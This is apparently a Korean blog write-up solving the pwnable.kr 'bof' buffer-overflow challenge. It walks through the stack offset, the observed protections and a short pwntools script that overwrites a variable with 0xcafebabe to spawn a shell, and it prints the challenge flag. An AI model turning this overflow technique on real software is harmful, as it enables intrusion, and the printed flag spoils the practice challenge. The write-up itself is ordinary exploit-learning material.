Description
Nana told me that buffer overflow is one of the most common software vulnerability.
Is that true?
ssh bof@pwnable.kr -p2222 (pw: guest)
Solution
bof는 gets함수에서 이루어지고 32바이트를 더미로 채운 후 SFP와 RET 부분도 채우면 key의 주소가 나온다.
32바이트 이상 입력하니 stack smashing이 된다.
메모리 보호기법이 걸려있는 듯 하다.
DEP, Canary, PIE 보호기법이 걸려있다.
overflowme가 32byte였기에 32+8 로 40byte를 더미로 채우고 0xcafebabe를 넣으면 되는 줄 알았는데 gdb로 열어보니 달랐다.
일단, 0x2c를 채운 후 SFP, RET를 포함한 0x8을 채워야 0xcafebabe와 비교할 수 있는 것을 확인할 수 있다.
pwntools를 사용한 스크립트를 /tmp 디렉터리에 다음과 같이 작성한다.
from pwn import *
# readme에서 nc 0 9000으로 연결할 수 있다고 알려준다
r = remote('0', 9000)
payload = b"A"*(0x2c+0x8)+p32(0xcafebabe)
r.sendline(payload)
r.interactive()
작성한 스크립트를 실행시켜보면 쉘이 따지는 것을 확인 할 수 있다.
FLAG
Daddy_I_just_pwned_a_buff3r!
'해킹 > Wargame' 카테고리의 다른 글
[Pwnable.xyz]Welcome (0) | 2025.07.04 |
---|---|
[Pwnable.kr] collision (0) | 2025.05.27 |
[Pwnable.kr] fd (0) | 2025.05.27 |